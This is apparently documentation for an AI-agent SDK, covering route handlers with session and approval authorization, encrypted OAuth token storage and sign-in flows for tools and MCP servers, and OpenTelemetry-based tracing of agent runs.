```ts theme={null}
import { createAgent, createRouteHandler } from '@lousho/build-ai-agent';

declare function isSignedIn(request: Request): Promise<boolean>;

export const { GET, POST } = createRouteHandler(createAgent({ model: 'openai/gpt-4o-mini' }), {
  auth: (request) => isSignedIn(request),
});
```

## Routes

All paths are under `basePath` (default `/api/agent`; a trailing slash is
accepted, and a request outside the base path is a 404).

| Route | What it does |
| - | - |
| `POST <basePath>` | `{ input, sessionId? }`: the turn streamed as SSE. This is what `useLoushoAgent({ url })` posts; without a `sessionId` each turn is a fresh session |
| `POST <basePath>/approvals/:id` | `{ approved, note? }` or `{ answer }`: the continuation streamed (`useLoushoAgent`'s `approvalsUrl`) |
| `POST <basePath>/chat` | `{ sessionId, input }`: the session API of the deployed server |
| `GET <basePath>/chat/:sessionId` | the session's transcript and pending approvals (a turn paused on an approval is in `pending`, not yet in `messages`) |
| `POST <basePath>/chat/:sessionId/approvals/:id` | decide an approval in a session |
| `POST <basePath>/ui` | with `uiMessageStream: true`: the AI SDK `useChat` endpoint |
| `GET <basePath>/oauth/callback` | the OAuth provider's redirect after a sign-in; never behind `auth` (the single-use `state` protects it) |
| `GET <basePath>/health` | `ok`, never behind `auth` |

Sessions are kept by the agent's `store` (`createAgent({ store })`), so give
the agent one that outlives a serverless invocation when you use sessions.
With `auth`, a session id is bound to the first principal that sends it a
turn (reading an id claims nothing), and a different principal gets `403`
(`LOUSHO_SESSION_FORBIDDEN`). That binding is kept in memory, so a new
serverless instance forgets it, and then refuses the stored session to every
user, its owner too: for an app with more than one user, pass
`authorizeSession` as well, e.g. with ids derived from the caller
(`${userId}-<suffix without '-'>`, as below). See
[Who may use a session](/auth#who-may-use-a-session).

POST routes take JSON only (`Content-Type: application/json`, which
`useLoushoAgent` and `useChat` send) and refuse a browser request from another
origin unless you list it in `allowedOrigins`: see
[Cross-site requests](/auth#cross-site-requests).

**Who may approve a call.** `createRouteHandler` has no `approvers` option; approvals are decided by
`authorizeApproval({ principal, sessionId, approval })`. By default
(`callerOwnsApproval`) the user a gated call runs for may approve it, and
cannot decide another user's call, so a single-user app that prompts its own
user needs nothing. That also means a user can approve their own refund. If an
approval must come from someone else, pass `authorizeApproval`. This is a
two-person rule: a supervisor decides, and never on a call that runs for
themselves. The supervisor also needs `authorizeSession` to read the
customer's session (`GET /chat/:id`, to show what they are approving) and to
decide in it; by default the session belongs to the customer alone:

```ts theme={null}
import { createAgent, createRouteHandler, memoryStore } from '@lousho/build-ai-agent';
import { jwt } from '@lousho/build-ai-agent/auth';

const agent = createAgent({ model: 'openai/gpt-4o-mini', store: memoryStore() });
const isSupervisor = (principal?: { claims?: Readonly<Record<string, unknown>> }) => principal?.claims?.role === 'supervisor';
// Session ids are `<user id>-<suffix without '-'>`; the owner is everything before the last `-`
// (a prefix match would let `alice` reach `alice-x`'s sessions).
const ownerOf = (sessionId: string) => sessionId.slice(0, Math.max(sessionId.lastIndexOf('-'), 0));

export const { GET, POST } = createRouteHandler(agent, {
  auth: jwt({ secret: process.env.JWT_SECRET!, issuer: 'https://auth.example.com', audience: 'agent-api' }),
  // Customers use their own sessions; supervisors may read and decide in any session.
  authorizeSession: ({ principal, sessionId, action }) =>
    (principal !== undefined && ownerOf(sessionId) === principal.id) || (action !== 'chat' && isSupervisor(principal)),
  authorizeApproval: ({ principal, approval }) =>
    isSupervisor(principal) &&
    !(principal?.id === approval.principal?.id && principal?.issuer === approval.principal?.issuer),
});
```

An error reaches the client as its `name` and `code` with a generic message;
`exposeErrors: true` sends the raw text. See
[Who may decide an approval](/auth#who-may-decide-an-approval) for the
`403` it answers with and the supervisor-in-any-session variant.

If the client goes away while a session turn streams (a closed tab, a dropped
connection), the turn still runs to its end on the server and is saved to the
session, so a tool that already ran (a refund, an email) is in the transcript
and the user's next message can ask about it. Nothing more is written to the
closed stream. On a serverless host, pass the platform's `waitUntil` (for
example `waitUntil` from `@vercel/functions`) so the function is kept alive
until the turn is saved. `onDisconnect: 'abort'` aborts the turn instead, as
before; tool results it already has are still kept.

`auth` also takes an ordered list of `jwt()`, `oidc()`, `basic()` and
`apiToken()` entries, and the caller it accepts reaches the run as `principal`:
see [Route auth and principals](/auth).

## Client: `useLoushoAgent`

```tsx theme={null}
'use client';
import { useLoushoAgent } from '@lousho/build-ai-agent/react';

export function Chat() {
  const agent = useLoushoAgent({ url: '/api/agent', headers: { Authorization: `Bearer ${token}` } }, { approvalsUrl: '/api/agent/approvals' });
  // agent.messages, agent.send(text), agent.approve() ...
}
```

## Client: `useChat`

With `uiMessageStream: true`, point `useChat` at the `ui` route. The chat `id`
names the session, so only the newest user message is sent to the agent
([AI SDK UI](/ai-sdk-ui)).

```tsx theme={null}
import { useChat } from '@ai-sdk/react';
import { DefaultChatTransport } from 'ai';

// ai 6/7 signature; on ai 4 (also a supported peer) use useChat({ api: '/api/agent/ui' })
const { messages, sendMessage } = useChat({ transport: new DefaultChatTransport({ api: '/api/agent/ui' }) });
```

## Other frameworks

The same handler, mounted where the framework wants it:

```ts theme={null}
import { createAgent, createRouteHandler } from '@lousho/build-ai-agent';

const { handler } = createRouteHandler(createAgent({ model: 'openai/gpt-4o-mini' }), { basePath: '/agent', auth: 'secret' });

// SvelteKit: src/routes/agent/[...path]/+server.ts
export const GET = ({ request }: { request: Request }) => handler(request);
export const POST = ({ request }: { request: Request }) => handler(request);

// Hono: app.all('/agent/*', (c) => handler(c.req.raw))
// Bun.serve: fetch: handler
```


# OAuth
Source: https://lousho.com/oauth



Tools and MCP servers that call an API on someone's behalf need an OAuth
access token, and usually a refresh token to get the next one. This page covers
where those tokens live: the `tokens` part of an `AgentStore`, keyed by
provider and by who owns the credential, and how a tool gets one: a tool calls
`ctx.getToken(provider)`, and when the user has not connected yet the run
pauses until they sign in ([Tools that need sign-in](#tools-that-need-sign-in)).
HTTP MCP servers sign in with OAuth too
([MCP servers with OAuth](#mcp-servers-with-oauth)).

## Credential owners

Every stored credential has a provider (a name such as `github`, 1-64
characters from `A-Z`, `a-z`, `0-9`, `_` and `-`) and an owner:

* **The app** (`{ owner: 'app' }`): one credential the agent uses for
  everybody, such as a service account or a bot installation.
* **A user** (`{ owner: 'user', principalId, issuer? }`): one credential per
  signed-in person. `principalId` is the user's id and `issuer` names the
  identity provider that issued it, so `alice` from one issuer and `alice`
  from another are different owners. With [route auth](/auth), a request's
  principal maps onto it as `{ owner: 'user', principalId: principal.id,
  issuer: principal.issuer }`; a user credential needs that principal,
  because without one there is no user to own it. A principal without an
  `issuer` (a Slack, GitHub, Telegram or Discord user, `basic()`, `apiToken()`)
  gets `issuer: 'authenticator:<name>'`, so the same id from two authenticators
  (Slack `U04ABCDEF` and a GitHub login `U04ABCDEF`) is two owners and never
  shares a token.

### Migrating tokens stored before the authenticator namespace

Tokens stored for a principal without an issuer sit under the old key
(`<provider>|user||<id>`). That key was shared by every authenticator, so the
SDK does not read it as a fallback: doing so would hand one authenticator's
token to another. Users whose token is not found sign in again. To keep a
token, an operator who knows which authenticator the old tokens belong to moves
them once:

```ts theme={null}
import { fileStore } from '@lousho/build-ai-agent';

const store = fileStore('./.lousho', { tokenKey: process.env.LOUSHO_TOKEN_KEY });
const legacy = { owner: 'user', principalId: 'U04ABCDEF' } as const;
const owner = { ...legacy, issuer: 'authenticator:slack' } as const;
const token = await store.tokens!.get('gdrive', legacy);
if (token) {
  await store.tokens!.set('gdrive', owner, token);
  await store.tokens!.delete('gdrive', legacy);
}
```

A sign-in link issued before the upgrade is refused at its callback; the user
asks for a fresh one.

`tokenStoreKey(provider, owner)` is the record key of a credential:
`<provider>|app`, or `<provider>|user|<issuer>|<principalId>` with the issuer
and id percent-encoded (an absent issuer is the empty part). Encoding makes the
key unambiguous: a principal id containing `|` cannot collide with another
owner.

```ts theme={null}
import { tokenStoreKey } from '@lousho/build-ai-agent';

tokenStoreKey('github', { owner: 'app' }); // 'github|app'
tokenStoreKey('github', { owner: 'user', principalId: 'a|b', issuer: 'https://id.example.com' });
// 'github|user|https%3A%2F%2Fid.example.com|a%7Cb'
```

## Token storage

`AgentStore.tokens` is an `OAuthTokenStore`:

```ts theme={null}
import { memoryStore } from '@lousho/build-ai-agent';

const { tokens } = memoryStore();
const alice = { owner: 'user', principalId: 'alice', issuer: 'https://id.example.com' } as const;

await tokens.set('github', alice, { accessToken: 'gho_...', refreshToken: 'ghr_...', tokenType: 'Bearer', expiresAt: Date.now() + 3_600_000 });
const token = await tokens.get('github', alice); // { accessToken, refreshToken, ... } or undefined
const connected = await tokens.list({ owner: alice }); // [{ provider: 'github', owner, expiresAt, scope, hasRefreshToken: true, updatedAt }]
await tokens.delete('github', alice); // disconnect
```

* `get`, `set` and `delete` read, write (replacing) and remove one credential.
* `list({ provider?, owner? })` returns metadata only: provider, owner, token
  type, expiry, scope, whether a refresh token is stored, and when the record
  was written. It never returns an access or refresh token.
* `putPending(state, value, ttlMs)` and `takePending(state)` keep a sign-in in
  progress (the PKCE verifier and where to return) between the redirect and the
  callback. `takePending` returns it once and deletes it; after `ttlMs` it is
  gone. `state` is 16-128 characters from `A-Z`, `a-z`, `0-9`, `_` and `-`; a
  malformed state passed to `takePending` is simply not found.
* `setClient(provider, client)` and `getClient(provider)` keep a client
  registered with an authorization server (dynamic client registration). The
  record may hold a client secret, so it is encrypted like a token.

Every ready-made store has `tokens`:

| Store | Where tokens are kept | Encrypted |
| - | - | - |
| `memoryStore()` | Plain objects in process memory | No: nothing leaves the process |
| `fileStore(dir, { tokenKey })` | `<dir>/oauth/tokens/<sha256 of the key>.json`, `<dir>/oauth/pending/<state>.json` | Yes |
| `new SqliteStore(path, { tokenKey })` | Tables `oauth_tokens` and `oauth_pending` | Yes |
| `new KVStore(kv, { tokenKey })` | `<prefix>oauth/tokens/<key>`, `<prefix>oauth/pending/<state>` (with an expiration) | Yes |

**The key.** The persistent stores encrypt every record with AES-256-GCM under
a 32-byte key that you supply as base64: the `tokenKey` option, or else the
`LOUSHO_TOKEN_KEY` environment variable. There is no default key and nothing
is derived from a password. Make one with `generateTokenKey()` or in a shell:

```bash theme={null}
node -e "console.log(Buffer.from(crypto.getRandomValues(new Uint8Array(32))).toString('base64'))"
```

```ts theme={null}
import { createAgent, fileStore, generateTokenKey } from '@lousho/build-ai-agent';

console.log(generateTokenKey()); // store it as a secret, e.g. LOUSHO_TOKEN_KEY

const agent = createAgent({ provider, store: fileStore('./.lousho', { tokenKey: process.env.LOUSHO_TOKEN_KEY }) });
```

On Cloudflare Workers there is no `process.env`: add the key as a secret
(`wrangler secret put LOUSHO_TOKEN_KEY`) and pass `env.LOUSHO_TOKEN_KEY` as
`tokenKey`. The Worker that `lousho build --target=cloudflare-worker`
generates does this for you.

* A key that is not exactly 32 bytes of base64 is a `ConfigurationError` when
  the store is built.
* With no key, an agent that never stores a token works as before: reads find
  nothing. The first `set`, `setClient` or `putPending` throws
  [`LOUSHO_TOKEN_KEY_MISSING`](/errors#lousho_token_key_missing), and so does
  reading a record that exists.
* Each write uses a fresh random 12-byte IV, so the same token written twice
  gives two different ciphertexts. The record key is authenticated with it: a
  ciphertext copied to another owner's row does not decrypt. The stored form is
  `v1.<base64 iv>.<base64 ciphertext>`.
* A record written under another key, or changed on disk, fails with
  [`LOUSHO_TOKEN_DECRYPT_FAILED`](/errors#lousho_token_decrypt_failed), which
  names the provider and never the token.

**Rotating the key.** Pass several keys, newest first:
`tokenKey: [newKey, oldKey]`, or `LOUSHO_TOKEN_KEY="<new>,<old>"`. Writes use
the first key and reads try each in turn, so tokens move to the new key as they
are refreshed. There is no command that re-encrypts every record; once you drop
the old key, tokens still written under it can no longer be read, and their
users sign in again (delete those records).

**Nothing logs a token.** The stores never put an access token, refresh token,
PKCE verifier or client secret into an error message, a log line or an error
`cause`, and the token values are not part of agent events, transcripts,
checkpoints, traces or recorded cassettes unless a tool returns one itself. A
tool that uses a token should return the API's answer, not the token.

**Consistency.** SQLite takes a pending sign-in in one transaction, and the
file store claims it with an exclusive file create, so exactly one caller gets
it. Workers KV has no transactions: `takePending` reads and then deletes, so two
callbacks at different edge locations within KV's propagation delay (up to
about a minute) could both read the same state. The state is a 256-bit random
value that only the user's browser holds, so reusing it gains nothing to anyone
who does not already have it. `KVStore`'s `tokens.list()` needs the binding's
`list()` (a real KV namespace has it; a hand-made fake may not). `prune()` of a
`SqliteStore` also deletes expired pending sign-ins; the file store drops them
when the next sign-in starts, and KV expires them itself.

## Tools that need sign-in

Define the provider once, at module level next to the tools that use it, with
`defineOAuthProvider()`. A tool asks for a token with `ctx.getToken(provider)`:

```ts theme={null}
import { createAgent, defineOAuthProvider, defineTool, memoryStore } from '@lousho/build-ai-agent';
import { z } from 'zod';

export const github = defineOAuthProvider({
  name: 'github', // also the token store key
  displayName: 'GitHub', // shown on the sign-in prompt
  authorizationUrl: 'https://github.com/login/oauth/authorize',
  tokenUrl: 'https://github.com/login/oauth/access_token',
  clientId: process.env.GITHUB_CLIENT_ID ?? 'client-id',
  clientSecret: process.env.GITHUB_CLIENT_SECRET, // omit for a public client
  scopes: ['repo'],
  redirectUri: 'https://agent.example.com/api/agent/oauth/callback', // as registered with GitHub
});

const listRepos = defineTool({
  name: 'list_repos',
  description: "Lists the user's repositories",
  input: z.object({}),
  execute: async (_args, ctx) => {
    const { accessToken } = await ctx.getToken(github); // first, before any side effect
    const res = await fetch('https://api.github.com/user/repos', { headers: { authorization: `Bearer ${accessToken}` } });
    if (res.status === 401) ctx.requireAuth(github); // the token was revoked: sign in again
    const repos = (await res.json()) as Array<{ full_name: string }>;
    return repos.map((repo) => repo.full_name); // the API's answer, never the token
  },
});

const agent = createAgent({ provider, tools: [listRepos], store: memoryStore() });
```

* `getToken()` reads the token of the run's [principal](/auth)
  (`credentialOwner: 'user'`, the default) or the app's own
  (`credentialOwner: 'app'`) from `store.tokens`. A token that expires within
  60 seconds and has a refresh token is refreshed at `tokenUrl` first and
  saved. Concurrent calls in one process that need the same refresh share one
  request, so a provider that rotates refresh tokens (single use) is not sent
  the same one twice. A refresh the server refuses deletes the token, unless
  the store meanwhile holds a different one (another process refreshed it);
  that one is used instead.
* Without a usable token the run **pauses**, exactly like an
  [approval](/approvals): `finishReason: 'awaiting-approval'`, a pending
  approval with `kind: 'sign-in'`, durable in the agent's stores. Once the user
  signed in and the pause is approved, the tool call runs again **from the
  start**. Call `getToken()` before anything with a side effect: work done
  before it is done twice.
* `ctx.requireAuth(provider)` is for a token the API refused (a 401): it
  deletes the stored token and pauses for a new sign-in.
* A user credential needs a principal: on a run without one (no route auth,
  no channel), `getToken()` fails the call with
  [`LOUSHO_OAUTH_PRINCIPAL_REQUIRED`](/errors#lousho_oauth_principal_required)
  and nothing pauses.
* The agent needs a token store (`store` with `tokens`); without one the run
  stops with [`LOUSHO_OAUTH_STORE_MISSING`](/errors#lousho_oauth_store_missing).
* The provider is registered under its `name` for the process, so the
  callback can finish a sign-in that started in another request or before a
  restart. Defining the same name again replaces it.

**App credentials.** A provider with `credentialOwner: 'app'` holds one token
for everyone (a bot installation, a service account). A chat user is never sent
its sign-in link, because whoever opened it would connect their own account as
the agent's credential for every user: without the token the call fails with
[`LOUSHO_OAUTH_APP_SIGNIN_REQUIRED`](/errors#lousho_oauth_app_signin_required).
The operator signs the app in once with `agent.oauth.signInUrl(provider)`:

```ts theme={null}
import { createAgent, defineOAuthProvider, fileStore } from '@lousho/build-ai-agent';

const slackBot = defineOAuthProvider({
  name: 'slack_bot',
  displayName: 'Slack',
  credentialOwner: 'app',
  authorizationUrl: 'https://slack.com/oauth/v2/authorize',
  tokenUrl: 'https://slack.com/api/oauth.v2.access',
  clientId: process.env.SLACK_CLIENT_ID ?? 'client-id',
  clientSecret: process.env.SLACK_CLIENT_SECRET,
  scopes: ['chat:write'],
  redirectUri: 'https://agent.example.com/oauth/callback',
});

// connect-slack.ts: run once against the deployed agent's store, open the URL, approve.
const agent = createAgent({ provider, store: fileStore('./.lousho', { tokenKey: process.env.LOUSHO_TOKEN_KEY }) });
console.log('Open this to connect the app:', await agent.oauth.signInUrl(slackBot));
```

The link works for 10 minutes; the callback route of the deployed agent (which
shares the store) stores the token, and every run uses it from then on, with or
without a principal.

## What the user sees

The pause is reported like any approval, with the link to open:

* The `approval.requested` event (and the `run.done` with
  `finishReason: 'awaiting-approval'` after it) has `kind: 'sign-in'` and
  `signIn: { provider, displayName?, url }`. `agent.approvals.list()` returns
  the same record. Show `url`; once the user is back, approve the pause ("I've
  signed in") with `agent.approvals.resolve({ id, approved: true })` or
  `POST /chat/:id/approvals/:approvalId { "approved": true }`. Approving before
  the callback stored a token throws
  [`LOUSHO_SIGNIN_PENDING`](/errors#lousho_signin_pending) (HTTP 409 on the
  route) and the run stays paused. `approved: false` cancels: the model gets a
  `kind: 'denied'` tool error "Sign-in to GitHub was cancelled.".
* An `approve` callback is never asked about a sign-in: only the user can sign in.
* React, Vue and Svelte apps get it as `pendingApproval.kind === 'sign-in'`
  with `pendingApproval.signIn`; render the link and call `approve()` when the
  user says they are done (`reject()` cancels). The `data-lousho-approval`
  part of the AI SDK stream carries `kind` and `signIn` too.
* [Channels](/channels) post the default prompt "Sign in to GitHub to
  continue: \<url>" without Approve / Deny buttons. Slack sends it with
  `chat.postEphemeral` to the user who started the turn and Discord as an
  ephemeral follow-up, so nobody else in the thread sees the link. Teams and
  Telegram have no message only one user sees, so they send the link only in a
  1:1 chat with the bot; in a group chat or channel they post "please sign in
  from a private chat with me" instead. GitHub never posts it in a public
  thread. Behind
  `createDeployedServer()` and `lousho dev`, the callback continues the paused
  channel turn by itself, and the answer is posted where the question was asked.
* `lousho dev`'s chat page shows the link with "I've signed in" and "Cancel";
  `lousho chat` and `lousho acp` show the link and ask again until the user is
  signed in.

## The callback route

`redirectUri` must point at `GET /oauth/callback` of the served agent, exactly
as registered with the provider:

| Host | Callback |
| - | - |
| `lousho dev`, the node server, the Docker image, the Worker | `GET /oauth/callback` |
| `createRouteHandler(agent, { basePath })` | `GET <basePath>/oauth/callback` (e.g. `/api/agent/oauth/callback`) |

The route is **not** behind route auth or the bearer token: a browser redirect
carries no API token. Its protection is the `state`: 32 random bytes, single
use, valid for 10 minutes. It calls `agent.oauth.complete({ state, code, error })`
and answers a small HTML page ("Signed in to GitHub. You can close this tab.",
or the cancelled text when the provider sent `error`), with
`cache-control: no-store`, no script, and no query value echoed. An unknown,
used or expired `state` answers 400; a refused code exchange 502
([`LOUSHO_OAUTH_TOKEN_EXCHANGE_FAILED`](/errors#lousho_oauth_token_exchange_failed)).
When the callback request does pass the route's auth (a session cookie your
auth function accepts, for example), a sign-in started for another user is
refused.

`agent.oauth.complete()` only stores the token: the client that showed the
link continues the run by approving the pause. Serving your own route, do the
same:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ provider });

export async function GET(request: Request): Promise<Response> {
  const query = new URL(request.url).searchParams;
  const { outcome } = await agent.oauth.complete({
    state: query.get('state') ?? '',
    code: query.get('code') ?? undefined,
    error: query.get('error') ?? undefined,
  });
  return new Response(outcome === 'signed-in' ? 'Signed in. You can close this tab.' : 'Sign-in cancelled.');
}
```

When the user declines at the provider, `complete()` returns
`outcome: 'declined'`, and approving the pause then cancels the call like
`approved: false`.

## Approval and sign-in together

A tool with `needsApproval` asks first: the approval gate runs before the
tool's `execute`. Once approved, the call starts, `getToken()` finds no token
and the run pauses again, this time for sign-in. After the sign-in, approving
that pause runs the call once; it is not put to the reviewer a second time.
A call that needs sign-in to two providers pauses once for each, in turn.

When several calls of one model turn need sign-in, the run pauses on the first
one; the others run after it is decided, like the rest of a turn paused on an
approval.

## Security

* **PKCE and state.** Every sign-in uses PKCE with S256 (a 32-byte verifier)
  and a 32-byte random `state`. The verifier is kept only in the encrypted
  pending record (`store.tokens.putPending`), never in the approval snapshot,
  a checkpoint or an event; the `state` is single use and expires after 10
  minutes. The authorization URL holds the `state` and the challenge, which
  are safe to show; the authorization code is never logged.
* **Encryption.** Tokens and pending sign-ins are encrypted at rest by the
  persistent stores ([Token storage](#token-storage)).
* **Principal binding.** A user's token is stored for the principal the paused
  run acts for, whoever completes the callback, and a run only ever reads its
  own principal's token. Two users' tokens never mix; the same id from another
  issuer is another user. An app credential is only signed in by the operator.
* **Who sees the link.** Whoever opens a sign-in link binds their own account
  to the user who asked. Show it only to that user: the run's own stream, an
  ephemeral message in a shared channel (Slack, Discord), a 1:1 chat
  (Telegram, Teams), never a group chat or a public thread.
* **Never return a token from a tool.** Return the API's answer. As a safety
  net, a tool result or a thrown error that contains a token `getToken()`
  handed out during that call has it replaced with `[REDACTED]` before it is
  recorded, and a warning names the tool. The result is checked in its JSON
  form (values, keys, a `URL`, a class instance's fields), the error in its
  message, stack and `cause` chain, and the token is matched verbatim and
  base64 or base64url encoded (a `Basic` header). The redaction is a net, not
  a guarantee: a token that is hashed, split or otherwise transformed is not
  found. Tokens never enter agent events, transcripts, checkpoints,
  approval records, trace spans or recorded cassettes.

## MCP servers with OAuth

Hosted MCP servers such as Linear, GitHub, Atlassian and Notion require OAuth
2.1 as defined by the MCP authorization specification. Give an HTTP entry of
`mcpServers` an `oauth` field and the SDK does the protocol: it reads the
server's protected resource metadata (RFC 9728) to find its authorization
server, reads that server's metadata (RFC 8414), registers a client when you
have none (dynamic client registration, RFC 7591), and signs in with PKCE
(S256) and a resource indicator (RFC 8707). Tokens are kept in the agent's
token store (encrypted by the persistent stores) under the provider name
`mcp-<server>` and refreshed by the MCP SDK when the server refuses an expired
one.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { SqliteStore } from '@lousho/build-ai-agent/sqlite';

const agent = createAgent({
  provider,
  mcpServers: {
    linear: {
      url: 'https://mcp.linear.app/mcp',
      oauth: { redirectUri: 'https://agent.example.com/oauth/callback' },
    },
  },
  store: new SqliteStore('./agent.db', { tokenKey: process.env.LOUSHO_TOKEN_KEY }),
});

// connect-linear.ts: run once against the deployed agent's store, open the URL, approve.
console.log('Open this to connect Linear:', await agent.oauth.mcpSignInUrl('linear'));
```

`oauth` takes:

* `redirectUri` (required): the agent's callback URL, the
  [callback route](#the-callback-route) of the deployed agent.
* `clientId`, and `clientSecret` for a confidential client: a client you
  registered with the authorization server yourself. Without `clientId`, the
  SDK registers one at the first sign-in (as `clientName`, default `lousho`,
  with `redirectUri` as its only redirect URI) and keeps it in the token store.
* `scopes`: requested when the server's metadata names none.

**Signing in.** The grant belongs to the app, like an
[app credential](#tools-that-need-sign-in): one sign-in for the whole agent,
by an operator: `agent.oauth.mcpSignInUrl('<server>')` (the last line of the
example above) returns the authorization URL; the operator opens it and
approves, and the callback route of the deployed agent, which shares the
store, stores the token. The link works once, for 10 minutes. `mcpSignInUrl()` always makes a new link,
even when a token is stored, so it also re-connects the app to another account.
The next `ready()` or tool call connects with the new token; nothing needs a
restart.

**`needs-auth`.** Until the app is signed in, or after the grant was revoked
(the token is refused and the refresh token too), the server's status is
`'needs-auth'` and connecting fails with
[`LOUSHO_MCP_AUTH_REQUIRED`](/errors#lousho_mcp_auth_required): `ready()`
and the first `send()` reject with it (or, with `connectMcp(servers, { onError:
'skip' })`, the server is left out). A tool call refused during a run is an
error result for the model, with the same code; the run does not pause, because
a chat user never signs in for the app. A connection never registers a client
or starts a sign-in by itself: only `mcpSignInUrl()` does.

**Security.**

* `oauth` needs an `https` url; plain `http` is allowed only for `localhost`,
  `127.0.0.1` and `[::1]`. `headers` still work next to `oauth` (an API key
  header, say) and are sent only to the MCP server's own origin, never to the
  authorization server; an `Authorization` header together with `oauth` is
  refused.
* A token is sent only to the `url` it was obtained for. When the entry's
  `url` changes, the stored grant and any registered client are not used, and
  the server needs a new sign-in. The SDK also refuses protected resource
  metadata whose `resource` does not match the server's url.
* Tokens, authorization codes, PKCE verifiers and the client secret never
  appear in error messages, log lines, `status()`, agent events or tool
  results; an authorization server's error is reported by its OAuth `error`
  code only.

**Limits.** MCP grants are app-owned: one connection and one token per server
for every user of the agent. Per-user MCP grants (each user signing in with
their own account, with their own tool list) are not supported yet. OAuth
applies to HTTP servers only, not stdio. Client ID metadata documents and
`private_key_jwt` client authentication are not supported.

For `connectMcp()` without an agent, pass the store as
`connectMcp(servers, { tokens: store.tokens })`; it uses the stored token, and
signing in goes through an agent's `agent.oauth.mcpSignInUrl()` on the same
store.


# Tracing and observability
Source: https://lousho.com/observability



`AgentExecutor.execute()` and `FlowExecutor.execute()` emit spans through a
`TraceExporter`. Span names and attributes follow the
[OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/),
so GenAI-aware observability backends can recognise them without custom
mapping.

> **Stability.** The GenAI conventions are in `Development` status (not
> stable). Attribute names have changed between versions of the spec before
> (for example `gen_ai.system` became `gen_ai.provider.name`) and may change
> again. This SDK follows the spec as retrieved on 2026-10-01 from the
> [semantic-conventions-genai repository](https://github.com/open-telemetry/semantic-conventions-genai)
> (where the conventions now live). Pin your SDK version if dashboards depend
> on these names.

## Quick start

Pass an `exporter` to `createAgent()`; every run of the agent (`send()`,
`stream()`, session turns, `resume()` and runs continued by
`agent.approvals.resolve()`) is traced, sub-agents included. To keep traces
on disk and browse them with `npx lousho traces`, use `fileTraceExporter()`
(see [Local traces](#local-traces)). The `vendor/` model prefix chooses the
provider; with OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { fileTraceExporter } from '@lousho/build-ai-agent/traces';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'You are a helpful assistant.',
  exporter: fileTraceExporter(), // writes .lousho/traces/<day>/<traceId>.jsonl
});
```

Any object with `onSpanStart` and `onSpanEnd` is an exporter. The run does not
wait for them: a hook that throws, or an `async` one whose promise rejects, is
reported once per exporter with `console.warn` and otherwise ignored.

#### Advanced: the executor API

With the executor, pass the exporter to `AgentExecutor.execute()`:

```ts theme={null}
import { AgentExecutor } from '@lousho/build-ai-agent/executor';
import { type TraceExporter } from '@lousho/build-ai-agent';

const exporter: TraceExporter = {
  onSpanStart: (span) => console.log('[start]', span.kind, span.name),
  onSpanEnd: (span) => console.log('[end]', span.name, span.status?.code ?? 'ok', span.attributes),
};

await AgentExecutor.execute({ agent, input, provider, toolRegistry, exporter });
```

For real OpenTelemetry spans, import `createOtelTraceExporter()` from
`@lousho/build-ai-agent/otel` (needs the optional peer dependency
`@opentelemetry/api` and a registered `TracerProvider`). It carries span kind
and error status over to OpenTelemetry. See `examples/tracing`
(`npm run example:tracing:console`, `npm run example:tracing:otel`, which also prints metrics).

## Span tree

```
invoke_agent {agent name}          INTERNAL
  chat {model}                     CLIENT     one per provider.generate() call
  execute_tool {tool name}         INTERNAL   one per tool call
```

Each `send()` / `stream()` call is a trace of its own unless you parent it.
To put several runs in one trace, pass a span id of yours as `parentSpanId`;
the run's `invoke_agent` span becomes its child, and its cost rolls up into it:

```ts theme={null}
import { withSpan, type SimpleAgent, type TraceExporter } from '@lousho/build-ai-agent';

declare const exporter: TraceExporter;
declare const planner: SimpleAgent;
declare const writer: SimpleAgent;

await withSpan(exporter, 'research pipeline', {}, async (span) => {
  await planner.send('Plan the report.', { parentSpanId: span.id });
  await writer.send('Write it.', { parentSpanId: span.id });
});
```

A run continued after an approval (`agent.approvals.resolve()`) is a trace of its
own: its `invoke_agent` span holds the approved call's `execute_tool` span
(first, as the call runs before the model is called again), then the `chat`
spans of the rest of the run. A rejected call has no `execute_tool` span.

A flow run (`FlowExecutor.execute`) produces:

```
invoke_workflow {flow name}        INTERNAL
  flow.node {node type}            INTERNAL   one per node execution, nested like the flow
    chat {model}                   CLIENT     inside an llmCall node
    execute_tool {tool name}       INTERNAL   inside a toolCall node
```

To nest a flow under an agent span, pass that span's id as `parentSpanId`
(`withSpan` hands the span to its callback); the flow span then becomes its
child.

## Attributes

Constants for every name live in `src/execution/semconv.ts` (exported as
`GenAiAttr`, `GenAiOperation`, `GenAiMetric`, `ErrorAttr`, `FlowAttr`, `SdkAttr`, `LegacyAttr`).

### Agent run: `invoke_agent {agent name}`

| Attribute | Value |
| - | - |
| `gen_ai.operation.name` | `invoke_agent` |
| `gen_ai.agent.name` | The agent's `name`. An unnamed sub-agent uses the key the lead knows it by (`subagents: { researcher }` gives `researcher`), and the span is named after it |
| `gen_ai.agent.id` | The agent's `id`, when set |
| `gen_ai.provider.name` | The provider's `name` |
| `gen_ai.request.model` | The agent's model (`settings.model`, else the provider's default), when known |
| `gen_ai.conversation.id` | `sessionId`, when set |
| `gen_ai.usage.input_tokens`, `gen_ai.usage.output_tokens` | The run's total tokens: every model call, including those of delegated child runs; absent when no call reported usage. These repeat the `chat` spans' tokens: see [Summing token usage over spans](#summing-token-usage-over-spans). The `gen_ai.client.token.usage` metric still counts each model call once |
| `lousho.cost_usd` | Cumulative estimated USD of the run (every model call and delegated child run, including a background child that finishes before the run ends); absent when any model used has no known price |
| `lousho.usage.estimated` | `true` when any of the run's tokens were estimated |
| `lousho.subagent.name` | On a sub-agent's run: the name the lead knows it by (the `task` tool's `agent`) |
| `lousho.subagent.depth` | On a sub-agent's run: `1` for a sub-agent of the top-level run, `2` for its sub-agent, and so on |
| `lousho.task.id` | On a sub-agent's run started by `task`: the task's `taskId` |

#### Summing token usage over spans

The totals on `invoke_agent` spans count tokens that the run's `chat` spans
already carry, and a lead run's total also counts its sub-agents' runs. A
backend that adds up `gen_ai.usage.*` over every span of a trace (some
OpenTelemetry LLM cost dashboards do) therefore counts each token at least
twice, and once more per level of sub-agent nesting: a lead with one sub-agent
whose model calls used 33 + 7 input tokens shows 40 on the `chat` spans, 7 on
the sub-agent's `invoke_agent` span and 40 on the lead's, 87 in all.

